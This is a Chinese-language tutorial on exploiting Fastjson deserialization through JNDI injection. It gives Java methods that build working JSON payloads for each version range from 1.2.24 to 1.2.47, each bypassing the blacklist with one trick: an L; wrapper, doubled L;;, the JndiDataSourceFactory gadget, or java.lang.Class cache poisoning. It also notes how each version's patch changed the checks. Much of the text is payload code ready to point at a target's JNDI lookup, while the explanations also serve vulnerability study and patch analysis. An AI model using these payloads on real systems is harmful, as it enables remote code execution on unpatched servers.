FastjsonJNDI利用及Bypass高版本限制
Fastjson 在用 parse(obj) 还原对象的属性时会调用对象的 setter 方法为属性赋值,比如要还原 JdbcRowSetImpl 对象的autoCommit 属性,则会调用 JdbcRowSetImpl#setAutoCommit 方法进行还原,而下面的利用也基本都是基于这一点!
Fastjson <= 1.2.24
还原 autoCommit 属性时调用 JdbcRowSetImpl#setAutoCommit 方法,setAutoCommit 方法调用 connect 方法
public static String getSerializeDataJndi() throws Exception{
String jsonString = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}";
System.out.println(jsonString);
return jsonString;
}
Bypass Fastjson 1.2.25 - 1.2.41
- 在 Fastjson 1.2.25 及以后版本中 AutoType 默认为关闭,需要目标手动开启,否则会报错
- 在 Fastjson 1.2.25 及以后版本中增加了还原类的黑名单,在
ParserConfig#checkAutoType方法中检测还原类是否在黑名单中,而包名以 com.sun 开头的类都在黑名单中,自然利用的JdbcRowSetImpl类也在 - 在
TypeUtils#loadClass方法中,如果加载的类包名开头为L且结尾为 ; 则会把L;去除再进行加载,那么绕过的思路也就很明显了在包名前面加L后面加 ; 即可
public static String getSerializeDataJndiBypass01() throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}";
System.out.println(jsonString);
return jsonString;
}
Bypass Fastjson 1.2.42
为了修复 Bypass Fastjson 1.2.25 - 1.2.41,在 ParserConfig#checkAutoType 方法也把类包名开头为L且结尾为 ; 的包类名去除 L;,可以双写绕过
public static String getSerializeDataJndiBypass02() throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}";
System.out.println(jsonString);
return jsonString;
}
Bypass Fastjson 1.2.25-1.2.43
- Fastjson 1.2.43 在
ParserConfig#checkAutoType方法检测了类名是否双写L;如果双写了则直接报错 - 这里使用
JndiDataSourceFactory类进行 JNDI 注入,JndiDataSourceFactory#setProperties->lookup()
public static String getSerializeDataJndiBypass03() throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\""+ParseArgs.jndi+"\"}}";
System.out.println(jsonString);
return jsonString;
}
Bypass Fastjson 1.2.25-1.2.47
- 如果目标不开 AutoType ,则通杀 1.2.25-1.2.47
- 如果目标开了 AutoType ,则在 1.2.33-1.2.47 版本内有效
- 核心原理是利用
java.lang.Class将JdbcRowSetImpl注入到TypeUtils.mappings属性,然后在加载JdbcRowSetImpl对象的时候直接获取TypeUtils.mappings属性里的JdbcRowSetImpl,绕过黑名单检测
public static String getSerializeDataJndiBypass04() throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}}";
System.out.println(jsonString);
JSON.parse(jsonString);
return jsonString;
}
Fastjson 1.2.48 修复
TypeUtils#loadClass方法的 cache 参数默认有 true 变为了 false,无法把JdbcRowSetImpl注入到TypeUtils.mappings属性里










